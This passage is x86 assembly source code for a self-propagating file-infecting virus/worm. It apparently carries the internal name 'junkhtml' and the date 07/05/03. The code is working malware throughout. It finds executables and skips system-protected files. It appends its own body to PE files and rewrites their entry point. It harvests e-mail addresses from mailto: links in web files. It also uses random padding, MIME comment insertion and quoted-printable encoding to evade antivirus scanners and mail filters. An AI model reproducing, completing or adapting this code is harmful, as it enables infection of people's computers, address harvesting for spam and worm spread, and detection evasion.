push (krncrcstk.kMultiByteToWideChar - krncrcstk.klstrlenW) shr 2
|
|
pop eax
|
|
call store_krnapi
|
|
|
|
store_sfcapi label near
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;don't touch protected files
|
|
;-----------------------------------------------------------------------------
|
|
|
|
mov ecx, '!bgr' ;SfcIsFileProtected
|
|
xor eax, eax ;fake success in case of no SFC
|
|
jecxz leave_sfc
|
|
push esp
|
|
push ebx
|
|
call ecx
|
|
|
|
leave_sfc label near
|
|
leave
|
|
test eax, eax
|
|
jne restore_attr
|
|
call set_fileattr
|
|
push ebx
|
|
push ebx ;attribute ignored for existing files
|
|
push OPEN_EXISTING
|
|
push ebx
|
|
push ebx
|
|
push GENERIC_READ or GENERIC_WRITE
|
|
push edi
|
|
call dword ptr [ebp + krncrcstk.kCreateFileW]
|
|
xchg ebx, eax
|
|
call test_infect
|
|
db 81h ;mask CALL
|
|
call infect_file ;Super Nashwan power ;)
|
|
lea eax, dword ptr [esi + findlist.finddata.ftLastWriteTime]
|
|
push eax
|
|
sub eax, 8
|
|
push eax
|
|
sub eax, 8
|
|
push eax
|
|
push ebx
|
|
push (krncrcstk.kSetFileTime - krncrcstk.klstrlenW) shr 2
|
|
pop eax
|
|
call store_krnapi
|
|
push ebx
|
|
call cCloseHandle
|
|
|
|
restore_attr label near
|
|
pop ebx ;restore original file attributes
|
|
call set_fileattr
|
|
jmp file_next
|
|
find_files endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;look for MZ and PE file signatures
|
|
;-----------------------------------------------------------------------------
|
|
|
|
is_pehdr proc near ;edi -> map view
|
|
cmp word ptr [edi], 'ZM' ;Windows does not check 'MZ'
|
|
jne pehdr_ret
|
|
mov esi, dword ptr [edi + mzhdr.mzlfanew]
|
|
add esi, edi
|
|
lods dword ptr [esi] ;SEH protects against bad lfanew value
|
|
add eax, -'EP' ;anti-heuristic test filetype ;) and clear EAX
|
|
|
|
pehdr_ret label near
|
|
ret ;if PE file, then eax = 0, esi -> COFF header, Z flag set
|
|
is_pehdr endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;reset/set read-only file attribute
|
|
;-----------------------------------------------------------------------------
|
|
|
|
set_fileattr proc near ;ebx = file attributes, esi -> findlist, ebp -> platform APIs
|
|
push ebx
|
|
lea edi, dword ptr [esi + findlist.finddata.cFileName]
|
|
push edi
|
|
call dword ptr [ebp + krncrcstk.kSetFileAttributesW]
|
|
ret ;edi -> filename
|
|
db "07/05/03"
|
|
set_fileattr endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;test if file is infectable (not protected, PE, x86, non-system, not infected, etc)
|
|
;-----------------------------------------------------------------------------
|
|
|
|
test_infect proc near ;esi = find data, edi = map view, ebp -> platform APIs
|
|
call map_view
|
|
mov ebp, esi
|
|
call is_pehdr
|
|
jne inftest_name
|
|
lods dword ptr [esi]
|
|
cmp ax, IMAGE_FILE_MACHINE_I386
|
|
jne inftest_ret ;only Intel 386+
|
|
shr eax, 0dh ;move high 16 bits into low 16 bits and multiply by 8
|
|
lea edx, dword ptr [eax * 4 + eax] ;complete multiply by 28h (size pesect)
|
|
mov eax, dword ptr [esi + pehdr.pecoff.peflags - pehdr.pecoff.petimedate]
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them
|
|
;no .dll files this time
|
|
;-----------------------------------------------------------------------------
|
|
|
|
test ah, (IMAGE_FILE_SYSTEM or IMAGE_FILE_DLL or IMAGE_FILE_UP_SYSTEM_ONLY) shr 8
|
|
jne inftest_ret
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;32-bit executable file...
|
|
;-----------------------------------------------------------------------------
|
|
|
|
and ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
|
|
cmp ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
|
|
jne inftest_ret ;cannot use xor+jpo because 0 is also jpe
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;the COFF magic value is not checked because Windows ignores it anyway
|
|
;IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+
|
|
;-----------------------------------------------------------------------------
|
|
|
|
add esi, pehdr.pesubsys - pehdr.pecoff.petimedate
|
|
lods dword ptr [esi]
|
|
cmp ax, IMAGE_SUBSYSTEM_WINDOWS_CUI
|
|
jnbe inftest_ret
|
|
cmp al, IMAGE_SUBSYSTEM_WINDOWS_GUI ;al not ax, because ah is known now to be 0
|
|
jb inftest_ret
|
|
shr eax, 1eh ;test eax, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER shl 10h
|
|
jb inftest_ret
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;avoid files which seem to contain attribute certificates
|
|
;because one of those certificates might be a digital signature
|
|
;-----------------------------------------------------------------------------
|
|
|
|
cmp dword ptr [esi + pehdr.pesecurity.dirrva - pehdr.pestackmax], eax
|
|
jnbe inftest_ret
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;cannot use the NumberOfRvaAndSizes field to calculate the Optional Header size
|
|
;the Optional Header can be larger than the offset of the last directory
|
|
;remember: even if you have not seen it does not mean that it does not happen :)
|
|
;-----------------------------------------------------------------------------
|
|
|
|
movzx eax, word ptr [esi + pehdr.pecoff.peopthdrsize - pehdr.pestackmax]
|
|
add eax, edx
|
|
mov ebx, dword ptr [esi + pehdr.pefilealign - pehdr.pestackmax]
|
|
lea esi, dword ptr [esi + eax - pehdr.pestackmax + pehdr.pemagic - size pesect + pesect.sectrawsize]
|
|
lods dword ptr [esi]
|
|
add eax, dword ptr [esi]
|
|
cmp dword ptr [ebp + findlist.finddata.dwFileSizeLow], eax
|
|
jne inftest_ret ;file contains appended data
|
|
add dword ptr [ebp + findlist.finddata.dwFileSizeLow], ebx
|
|
inc dword ptr [esp + mapsehstk.mapsehinfret]
|
|
;skip call mask
|
|
|
|
inftest_ret label near
|
|
int 3
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;if suffix is any of .asp, .cfm, .css, .jsp, .[?]php* .[?]htm*
|
|
;then search for "mailto:" and save address if '@' is found
|
|
;-----------------------------------------------------------------------------
|
|
|
|
inftest_name label near
|
|
call cGetVersion
|
|
shr eax, 1fh
|
|
dec ax
|
|
mov al, 0ffh
|
|
xchg ebx, eax
|
|
lea eax, dword ptr [ebp + findlist.finddata.cFileName]
|
|
|
|
store_charnext label near
|
|
mov esi, "!bgr"
|
|
|
|
find_suffix label near
|
|
push eax
|
|
call esi
|
|
mov ecx, dword ptr [eax]
|
|
and ecx, ebx
|
|
je inftest_ret
|
|
cmp ecx, '.'
|
|
jne find_suffix ;support only one suffix
|
|
mov cl, 4
|
|
push edi
|
|
|
|
get_suffix label near
|
|
push ecx
|
|
push eax
|
|
call esi
|
|
pop ecx
|
|
mov edx, dword ptr [eax]
|
|
test dh, bh
|
|
jne inftest_ret ;Unicode character
|
|
or dl, ' ' ;convert to lowercase
|
|
shrd edi, edx, 8
|
|
loop get_suffix
|
|
xchg edi, eax
|
|
cmp eax, " psa" ;.asp
|
|
je found_text
|
|
cmp eax, " mfc" ;.cfm
|
|
je found_text
|
|
cmp eax, " ssc" ;.css
|
|
je found_text
|
|
cmp eax, " psj" ;.jsp
|
|
je found_text
|
|
cmp al, 'p'
|
|
je and_suffix
|
|
cmp al, 'h'
|
|
je and_suffix
|
|
shr eax, 8 ;skip first character
|
|
|
|
and_suffix label near
|
|
shl eax, 8
|
|
cmp eax, "php" shl 8 ;.[?]php
|
|
je found_text
|
|
cmp eax, "mth" shl 8 ;.[?]htm
|
|
jne inftest_ret
|
|
|
|
found_text label near
|
|
pop edi
|
|
dec ecx ;page fault exit if no mailto:
|
|
|
|
find_mailto label near
|
|
mov al, 'm'
|
|
repne scas byte ptr [edi]
|
|
jne inftest_ret
|
|
cmp dword ptr [edi], "tlia"
|
|
jne find_mailto
|
|
cmp word ptr [edi + 4], ":o"
|
|
jne find_mailto
|
|
cdq
|
|
lea esi, dword ptr [edi + 6]
|
|
mov ebp, esi
|
|
|
|
find_mailend label near
|
|
lods byte ptr [esi]
|
|
cmp al, '@'
|
|
jne skip_at
|
|
inc edx
|
|
|
|
skip_at label near
|
|
or al, 5 ;" -> '
|
|
cmp al, "'"
|
|
jne find_mailend
|
|
dec edx
|
|
jne mailtest_ret ;too few or too many '@'s
|
|
mov ecx, esi
|
|
dec esi
|
|
sub ecx, ebp
|
|
lea edi, dword ptr [ecx + offset mail_recip - offset junkhtml_inf + expsize + 400fffh]
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;no thread sync because EnterCriticalSection is forwarded in NT/2000/XP
|
|
;and my import resolver doesn't support forwarded imports
|
|
;the solution is to write in reverse direction which avoids crash
|
|
;-----------------------------------------------------------------------------
|
|
|
|
std
|
|
rep movs byte ptr [edi], byte ptr [esi]
|
|
cld
|
|
|
|
mailtest_ret label near
|
|
int 3
|
|
|
|
decomptest proc near
|
|
push 1
|
|
pop ebp
|
|
push ebp
|
|
btr eax, 7
|
|
jnb decompcall
|
|
xchg ebp, eax
|
|
pop eax
|
|
call random
|
|
xor edx, edx
|
|
div ebp
|
|
sub ebp, edx
|
|
push ebp
|
|
lea ebp, dword ptr [edx + 1]
|
|
xchg edi, eax
|
|
|
|
decompfirst label near
|
|
xchg edi, eax
|
|
lods byte ptr [esi]
|
|
|
|
decompcall label near
|
|
push edi
|
|
call decompress
|
|
pop eax
|
|
dec ebp
|
|
jne decompfirst
|
|
jmp decompmulti
|
|
|
|
decomplast label near
|
|
push ecx
|
|
push edi
|
|
lods byte ptr [esi]
|
|
call decompress
|
|
pop edi
|
|
|
|
decompmulti label near
|
|
pop ecx
|
|
loop decomplast
|
|
|
|
decompmain label near
|
|
xor eax, eax
|
|
lods byte ptr [esi]
|
|
test al, al
|
|
jne decomptest
|
|
ret
|
|
decomptest endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;4/5-bit text decompressor by RT Fishel, based on algorithm by qkumba in 1986!
|
|
;decompresses A-Z, a-z, 0-9, 3 user characters, lookup table for more characters
|
|
;-----------------------------------------------------------------------------
|
|
|
|
decompress proc near ;al -> src length, esi -> src buffer, edi -> dst buffer
|
|
xchg ebx, eax
|
|
mov cx, ('!' shl 8)
|
|
mov edx, (1fh shl 8) + 5
|
|
call decomploop
|
|
db user1, user2, user3
|
|
endif
|
|
|
|
usertable db 0dh, ".-<>=()", 22h, "';+!?"
|
|
;max 32 characters, sort by frequency for best compression
|
|
usertable_e equ $
|
|
|
|
if (offset usertable_e - offset usertable) gt 32
|
|
.err "too many user characters"
|
|
endif
|
|
|
|
ife compress_only
|
|
|
|
decompbase label near
|
|
xor dx, (10h shl 8) + 1
|
|
jmp decomploop
|
|
|
|
decompcase label near
|
|
xor ch, 'a' - 1
|
|
|
|
decomploop label near
|
|
call decompload
|
|
cmp dl, 5
|
|
je decompcmp
|
|
or al, 10h
|
|
|
|
decompcmp label near
|
|
cmp al, 1ah ;case switch
|
|
je decompcase
|
|
jb decompimm
|
|
sub al, 1ch
|
|
jb decompbase
|
|
and al, dh
|
|
jne decompuser
|
|
call decompload
|
|
|
|
;this instruction appears twice because the "add al, 3"
|
|
;can overflow in 4-bit mode. if "and al, dh" appears
|
|
;after that, then the result is wrong character
|
|
|
|
and al, dh
|
|
add al, 3 ;skip user1, user2, user3
|
|
|
|
decompuser label near
|
|
add eax, dword ptr [esp]
|
|
mov al, byte ptr [eax - 1]
|
|
cmp al, 0dh
|
|
jne decompstore
|
|
stos byte ptr [edi]
|
|
mov al, 0ah
|
|
jmp decompstore
|
|
|
|
decompimm label near
|
|
add al, ' '
|
|
cmp dl, 4
|
|
je decompstore
|
|
add al, ch
|
|
|
|
decompstore label near
|
|
stos byte ptr [edi]
|
|
dec bl
|
|
jne decomploop
|
|
test cl, cl
|
|
je decomppop
|
|
inc esi
|
|
|
|
decomppop label near
|
|
pop eax
|
|
ret
|
|
|
|
decompload proc near
|
|
mov eax, dword ptr [esi]
|
|
bswap eax
|
|
add cl, dl
|
|
rol eax, cl
|
|
cmp cl, 8
|
|
jb decompldret
|
|
sub cl, 8
|
|
inc esi
|
|
|
|
decompldret label near
|
|
and eax, 1fh
|
|
ret
|
|
decompload endp
|
|
decompress endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;fill random number of lines with random number of random characters
|
|
;-----------------------------------------------------------------------------
|
|
|
|
randlines proc near
|
|
call random
|
|
and eax, 7
|
|
inc eax
|
|
xchg edx, eax
|
|
|
|
randloop label near
|
|
call random
|
|
and eax, 63 ;highest power of 2, -1, <= 76
|
|
inc eax
|
|
xchg ebp, eax
|
|
call randline
|
|
dec edx
|
|
jne randloop
|
|
|
|
randword proc near
|
|
push 8
|
|
pop ebp
|
|
|
|
randline proc near
|
|
call random
|
|
and al, 1fh
|
|
cmp al, 19h
|
|
jnbe randline
|
|
add al, 'A'
|
|
stos byte ptr [edi]
|
|
dec ebp
|
|
jne randline
|
|
|
|
store_crlf proc near
|
|
mov ax, 0a0dh
|
|
stos word ptr [edi]
|
|
ret
|
|
store_crlf endp
|
|
randline endp
|
|
randword endp
|
|
randlines endp
|
|
|
|
decompmime proc near
|
|
|
|
patch_mime label near
|
|
mov esi, "RTF!"
|
|
call decompcmap ;header31 ("MIME-Version:")
|
|
xor ebp, ebp
|
|
call decompcomnt ;header32 ("1.0")
|
|
jmp store_crlf
|
|
decompmime endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;insert random comments into MIME headers, to fool non-compliant MIME software
|
|
;this includes some Microsoft products, such as Internet Mail And News :(
|
|
;map case randomly
|
|
;-----------------------------------------------------------------------------
|
|
|
|
decompcomcr proc near
|
|
push offset store_crlf - offset junkhtml_inf + expsize + 401000h
|
|
|
|
decompcomnt proc near
|
|
push edi
|
|
push ebp
|
|
call decompmain
|
|
pop ebp
|
|
sub ebp, 71 ;highest multiple of 4, < 76, -1
|
|
neg ebp
|
|
pop eax
|
|
|
|
decompname proc near
|
|
push esi
|
|
mov ecx, edi
|
|
sub ecx, eax
|
|
add edi, ebp
|
|
mov esi, eax
|
|
push ecx
|
|
push edi
|
|
rep movs byte ptr [edi], byte ptr [esi]
|
|
pop esi
|
|
pop ebx
|
|
xchg edi, eax
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;copy up to 3 original characters, always at least 1
|
|
;if no room for more comments, then copy remainder and quit
|
|
;-----------------------------------------------------------------------------
|
|
|
|
comnt_copy label near
|
|
call random
|
|
and eax, 3
|
|
jne force_copy
|
|
inc eax
|
|
|
|
force_copy label near
|
|
cmp bl, al
|
|
jbe comnt_ret
|
|
cmp ebp, ebx
|
|
jbe comnt_ret
|
|
sub bl, al
|
|
sub ebp, eax
|
|
xchg ecx, eax
|
|
call randcase
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;insert up to 3 random comment characters, always at least 1
|
|
;-----------------------------------------------------------------------------
|
|
|
|
call random
|
|
and eax, 3
|
|
jne force_store
|
|
inc eax
|
|
|
|
force_store label near
|
|
sub ebp, eax
|
|
dec ebp
|
|
dec ebp
|
|
push ebp
|
|
xchg ebp, eax
|
|
mov al, '('
|
|
stos byte ptr [edi]
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;printable character from 20 ( ) to 7e (~), except '(', ')', and '\'
|
|
;cannot use '(' or ')' because comments can be nested, '\' has special meaning
|
|
;-----------------------------------------------------------------------------
|
|
|
|
comnt_add label near
|
|
call random
|
|
and al, 7fh
|
|
cmp al, ' ' + 1
|
|
jb comnt_add
|
|
cmp al, '(' + 1
|
|
jb comnt_bound
|
|
cmp al, ')' + 1
|
|
jbe comnt_add
|
|
cmp al, '\' + 1
|
|
je comnt_add
|
|
|
|
comnt_bound label near
|
|
dec eax
|
|
stos byte ptr [edi]
|
|
dec ebp
|
|
jne comnt_add
|
|
mov al, ')'
|
|
stos byte ptr [edi]
|
|
pop ebp
|
|
jmp comnt_copy
|
|
|
|
comnt_ret label near
|
|
mov ecx, ebx
|
|
jecxz comnt_skip
|
|
call randcase
|
|
|
|
comnt_skip label near
|
|
pop esi
|
|
xor ebp, ebp
|
|
ret
|
|
|
|
randcase proc near
|
|
push ecx
|
|
call random
|
|
lods byte ptr [esi]
|
|
cmp al, 40h
|
|
jb case_skip
|
|
and ah, 20h
|
|
xor al, ah
|
|
|
|
case_skip label near
|
|
stos byte ptr [edi]
|
|
pop ecx
|
|
loop randcase
|
|
ret
|
|
randcase endp
|
|
decompname endp
|
|
decompcomnt endp
|
|
decompcomcr endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;map case randomly without comments
|
|
;-----------------------------------------------------------------------------
|
|
|
|
decompcmap proc near
|
|
push edi
|
|
call decompmain
|
|
mov ecx, edi
|
|
pop edi
|
|
sub ecx, edi
|
|
push esi
|
|
mov esi, edi
|
|
call randcase
|
|
pop esi
|
|
push offset part24 - offset part23 - 4
|
|
pop ebp
|
|
ret
|
|
decompcmap endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;randomly convert characters to octets to fool string scanners
|
|
;automatically wraps long lines
|
|
;-----------------------------------------------------------------------------
|
|
|
|
decompoct proc near
|
|
push esi
|
|
push eax
|
|
push edi
|
|
mov ecx, edi
|
|
sub ecx, eax
|
|
xchg esi, eax
|
|
|
|
octet_line label near
|
|
jecxz octet_copy
|
|
push 72 ;highest safe multiple of 3, < 76
|
|
pop ebp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;don't process '=' if used as line-continue character
|
|
;-----------------------------------------------------------------------------
|
|
|
|
octet_check label near
|
|
mov eax, dword ptr [esi]
|
|
cmp ax, 0d3dh
|
|
je octet_eqcrlf
|
|
cmp al, 0dh
|
|
je octet_crlf
|
|
test ebp, ebp
|
|
jle octet_break ;signed compare in case of < 0
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;randomly process any character
|
|
;-----------------------------------------------------------------------------
|
|
|
|
call random
|
|
test al, 1
|
|
lods byte ptr [esi]
|
|
jne octet_make
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;always process '=' character
|
|
;-----------------------------------------------------------------------------
|
|
|
|
cmp al, '='
|
|
jne octet_skip
|
|
|
|
octet_make label near
|
|
mov byte ptr [edi], '='
|
|
inc edi
|
|
aam 10h
|
|
cmp al, 0ah
|
|
sbb al, 69h
|
|
das
|
|
xchg ah, al
|
|
cmp al, 0ah
|
|
sbb al, 69h
|
|
das
|
|
stos byte ptr [edi]
|
|
dec ebp
|
|
dec ebp
|
|
mov al, ah
|
|
|
|
octet_skip label near
|
|
stos byte ptr [edi]
|
|
dec ebp
|
|
loop octet_check
|
|
|
|
octet_copy label near
|
|
pop esi
|
|
mov ecx, edi
|
|
sub ecx, esi
|
|
pop edi
|
|
rep movs byte ptr [edi], byte ptr [esi]
|
|
pop esi
|
|
ret
|
|
|
|
octet_eqcrlf label near
|
|
movs byte ptr [edi], byte ptr [esi]
|
|
dec ecx
|
|
|
|
octet_crlf label near
|
|
movs word ptr [edi], word ptr [esi]
|
|
dec ecx
|
|
dec ecx
|
|
jmp octet_line
|
|
|
|
octet_break label near
|
|
mov eax, 0a0d3dh
|
|
stos dword ptr [edi]
|
|
dec edi
|
|
jmp octet_line
|
|
decompoct endp
|
|
|
|
bound_copy proc near
|
|
push esi
|
|
xchg ecx, eax
|
|
xchg esi, eax
|
|
rep movs byte ptr [edi], byte ptr [esi]
|
|
pop esi
|
|
jmp store_crlf
|
|
bound_copy endp
|
|
|
|
decomptype proc near
|
|
|
|
patch_type label near
|
|
mov esi, 'RTF!'
|
|
call decompcmap
|
|
push offset part12 - offset part11 - 2
|
|
pop ebp
|
|
ret
|
|
decomptype endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;base64 encoder without dictionary by RT Fishel
|
|
;-----------------------------------------------------------------------------
|
|
|
|
b64_newline proc near
|
|
call store_crlf
|
|
|
|
b64encode label near ;ebp = length, esi -> src buffer, edi -> dst buffer
|
|
push (76 shr 2) + 1
|
|
pop edx
|
|
|
|
b64_outer label near
|
|
dec edx
|
|
je b64_newline
|
|
lods dword ptr [esi]
|
|
dec esi
|
|
inc ebp
|
|
bswap eax
|
|
push 4
|
|
pop ecx
|
|
|
|
b64_inner label near
|
|
rol eax, 6
|
|
and al, 3fh
|
|
cmp al, 3eh
|
|
jb b64_testchar
|
|
shl al, 2 ;'+' and '/' differ by only 1 bit
|
|
sub al, ((3eh shl 2) + 'A' - '+') and 0ffh
|
|
|
|
b64_testchar label near
|
|
sub al, 4
|
|
cmp al, '0'
|
|
jnl b64_store ;l not b because '/' is still < 0 here
|
|
add al, 'A' + 4
|
|
cmp al, 'Z'
|
|
jbe b64_store
|
|
add al, 'a' - 'Z' - 1
|
|
|
|
b64_store label near
|
|
stos byte ptr [edi]
|
|
dec ebp
|
|
loopne b64_inner
|
|
jne b64_outer
|
|
mov al, '='
|
|
rep stos byte ptr [edi]
|
|
ret
|
|
b64_newline endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;increase file size by random value (between RANDPADMIN and RANDPADMAX bytes)
|
|
;I use GetTickCount() instead of RDTSC because RDTSC can be made privileged
|
|
;-----------------------------------------------------------------------------
|
|
|
|
open_append proc near
|
|
push (krncrcstk.kGetTickCount - krncrcstk.klstrlenW) shr 2
|
|
pop eax
|
|
call store_krnapi
|
|
and eax, RANDPADMAX - 1
|
|
add ax, small (offset junkhtml_codeend - offset junkhtml_inf + RANDPADMIN)
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;create file map, and map view if successful
|
|
;-----------------------------------------------------------------------------
|
|
|
|
map_view proc near ;eax = extra bytes to map, ebx = file handle, esi -> findlist, ebp -> platform APIs
|
|
add eax, dword ptr [esi + findlist.finddata.dwFileSizeLow]
|
|
xor ecx, ecx
|
|
push eax
|
|
push eax ;MapViewOfFile
|
|
push ecx ;MapViewOfFile
|
|
push ecx ;MapViewOfFile
|
|
push FILE_MAP_WRITE ;Windows 9x/Me does not support FILE_MAP_ALL_ACCESS
|
|
push ecx
|
|
push eax
|
|
push ecx
|
|
push PAGE_READWRITE
|
|
push ecx
|
|
push ebx
|
|
push (krncrcstk.kCreateFileMappingA - krncrcstk.klstrlenW) shr 2
|
|
pop eax ;ANSI map is allowed because of no name
|
|
call store_krnapi
|
|
push eax
|
|
xchg edi, eax
|
|
push (krncrcstk.kMapViewOfFile - krncrcstk.klstrlenW) shr 2
|
|
pop eax
|
|
call store_krnapi
|
|
pop ecx
|
|
xchg edi, eax ;should succeed even if file cannot be opened
|
|
pushad
|
|
call unmap_seh
|
|
pop eax
|
|
pop eax
|
|
pop esp
|
|
xor eax, eax
|
|
pop dword ptr fs:[eax]
|
|
pop eax
|
|
popad ;SEH destroys all registers
|
|
push eax
|
|
push edi
|
|
push (krncrcstk.kUnmapViewOfFile - krncrcstk.klstrlenW) shr 2
|
|
pop eax
|
|
call store_krnapi
|
|
call cCloseHandle
|
|
pop eax
|
|
ret
|
|
|
|
unmap_seh proc near
|
|
cdq
|
|
push dword ptr fs:[edx]
|
|
mov dword ptr fs:[edx], esp
|
|
jmp dword ptr [esp + mapsehstk.mapsehsehret]
|
|
unmap_seh endp
|
|
map_view endp ;eax = map handle, ecx = new file size, edi = map view
|
|
open_append endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;determine platform and dynamically select function types (ANSI or Unicode)
|
|
;-----------------------------------------------------------------------------
|
|
|
|
get_krnapis proc near ;place near to jump table for smaller code
|
|
call cGetVersion
|
|
|
|
krnapi_delta label near
|
|
shr eax, 1fh
|
|
mov ecx, dword ptr [esp - 4] ;no stack change in ring 3
|
|
mov ecx, dword ptr [ecx + offset store_krnapi - offset krnapi_delta + 3]
|
|
lea ebp, dword ptr [eax * 4 + ecx]
|
|
ret
|
|
get_krnapis endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;indexed API jump table
|
|
;-----------------------------------------------------------------------------
|
|
|
|
clstrcatW proc near
|
|
push (krncrcstk.klstrcatW - krncrcstk.klstrlenW) shr 2
|
|
jmp call_krncrc
|
|
clstrcatW endp
|
|
|
|
cSleep proc near
|
|
push (krncrcstk.kSleep - krncrcstk.klstrlenW) shr 2
|
|
jmp call_krncrc
|
|
cSleep endp
|
|
|
|
cSetCurrentDirectoryA proc near
|
|
push (krncrcstk.kSetCurrentDirectoryA - krncrcstk.klstrlenW) shr 2
|
|
jmp call_krncrc
|
|
cSetCurrentDirectoryA endp
|
|
|
|
cLoadLibraryA proc near
|
|
push (krncrcstk.kLoadLibraryA - krncrcstk.klstrlenW) shr 2
|
|
jmp call_krncrc
|
|
cLoadLibraryA endp
|
|
|
|
cGlobalFree proc near
|
|
push (krncrcstk.kGlobalFree - krncrcstk.klstrlenW) shr 2
|
|
jmp call_krncrc
|
|
cGlobalFree endp
|
|
|
|
cGlobalAlloc proc near
|
|
push (krncrcstk.kGlobalAlloc - krncrcstk.klstrlenW) shr 2
|
|
jmp call_krncrc
|
|
cGlobalAlloc endp
|
|
|
|
cGetVersion proc near
|
|
push (krncrcstk.kGetVersion - krncrcstk.klstrlenW) shr 2
|
|
jmp call_krncrc
|
|
cGetVersion endp
|
|
|
|
cCreateThread proc near
|
|
push (krncrcstk.kCreateThread - krncrcstk.klstrlenW) shr 2
|
|
jmp call_krncrc
|
|
cCreateThread endp
|
|
|
|
cCloseHandle proc near
|
|
push (krncrcstk.kCloseHandle - krncrcstk.klstrlenW) shr 2
|
|
cCloseHandle endp
|
|
|
|
call_krncrc proc near
|
|
pop eax
|
|
|
|
store_krnapi label near
|
|
jmp dword ptr [eax * 4 + '!bgr']
|
|
call_krncrc endp
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;infect file in two parts
|
|
;algorithm: increase file size by random amount (RANDPADMIN-RANDPADMAX
|
|
; bytes) to confuse scanners that look at end of file (also
|
|
; infection marker)
|
|
; if reloc table is not in last section (taken from relocation
|
|
; field in PE header, not section name), then append to last
|
|
; section. otherwise, move relocs down and insert code into
|
|
; space (to confuse people looking at end of file. they will
|
|
; see only relocation data and garbage or many zeroes)
|
|
; entry point is altered to point to some code. very simple
|
|
; however, that code just drops exe and returns
|
|
; exe contains infection routine
|
|
;-----------------------------------------------------------------------------
|
|
|
|
infect_file label near ;esi -> findlist, edi = map view
|
|
call open_append
|
|
push ecx
|
|
push edi
|
|
mov ebx, dword ptr [edi + mzhdr.mzlfanew]
|
|
lea ebx, dword ptr [ebx + edi + pehdr.pechksum]
|
|
xor ecx, ecx
|
|
imul cx, word ptr [ebx + pehdr.pecoff.pesectcount - pehdr.pechksum], size pesect
|
|
add cx, word ptr [ebx + pehdr.pecoff.peopthdrsize - pehdr.pechksum]
|
|
lea esi, dword ptr [ebx + ecx + pehdr.pemagic - pehdr.pechksum - size pesect + pesect.sectrawsize]
|
|
lods dword ptr [esi]
|
|
mov cx, offset junkhtml_codeend - offset junkhtml_inf
|
|
mov edx, dword ptr [ebx + pehdr.pefilealign - pehdr.pechksum]
|
|
push eax
|
|
add eax, ecx
|
|
dec edx
|
|
add eax, edx
|
|
not edx
|
|
and eax, edx ;file align last section
|
|
mov dword ptr [esi + pesect.sectrawsize - pesect.sectrawaddr], eax
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;raw size is file aligned. virtual size is not required to be section aligned
|
|
;so if old virtual size is larger than new raw size, then size of image does
|
|
;not need to be updated, else virtual size must be large enough to cover the
|
|
;new code, and size of image is section aligned
|
|
;-----------------------------------------------------------------------------
|
|
|
|
mov ebp, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr]
|
|
cmp dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
|
|
jnb test_reloff
|
|
mov dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
|
|
add eax, ebp
|
|
mov edx, dword ptr [ebx + pehdr.pesectalign - pehdr.pechksum]
|
|
dec edx
|
|
add eax, edx
|
|
not edx
|
|
and eax, edx
|
|
mov dword ptr [ebx + pehdr.peimagesize - pehdr.pechksum], eax
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;if relocation table is not in last section, then append to last section
|
|
;otherwise, move relocations down and insert code into space
|
|
;-----------------------------------------------------------------------------
|
|
|
|
test_reloff label near
|
|
test byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum], IMAGE_FILE_RELOCS_STRIPPED
|
|
jne copy_code
|
|
cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ebp
|
|
jb copy_code
|
|
mov eax, dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr]
|
|
add eax, ebp
|
|
cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], eax
|
|
jnb copy_code
|
|
add dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ecx
|
|
pop eax
|
|
push esi
|
|
add edi, dword ptr [esi]
|
|
lea esi, dword ptr [edi + eax - 1]
|
|
lea edi, dword ptr [esi + ecx]
|
|
xchg ecx, eax
|
|
std
|
|
rep movs byte ptr [edi], byte ptr [esi]
|
|
cld
|
|
pop esi
|
|
pop edi
|
|
push edi
|
|
push ecx
|
|
xchg ecx, eax
|
|
|
|
copy_code label near
|
|
pop edx
|
|
add ebp, edx
|
|
xchg ebp, eax
|
|
add edx, dword ptr [esi]
|
|
add edi, edx
|
|
mov esi, expsize + 401000h
|
|
rep movs byte ptr [edi], byte ptr [esi]
|
|
|
|
;-----------------------------------------------------------------------------
|
|
;alter entry point
|
|
;-----------------------------------------------------------------------------
|
|
|
|
xchg dword ptr [ebx + pehdr.peentrypoint - pehdr.pechksum], eax
|
|
sub eax, offset host_patch - offset junkhtml_inf + 5
|
|
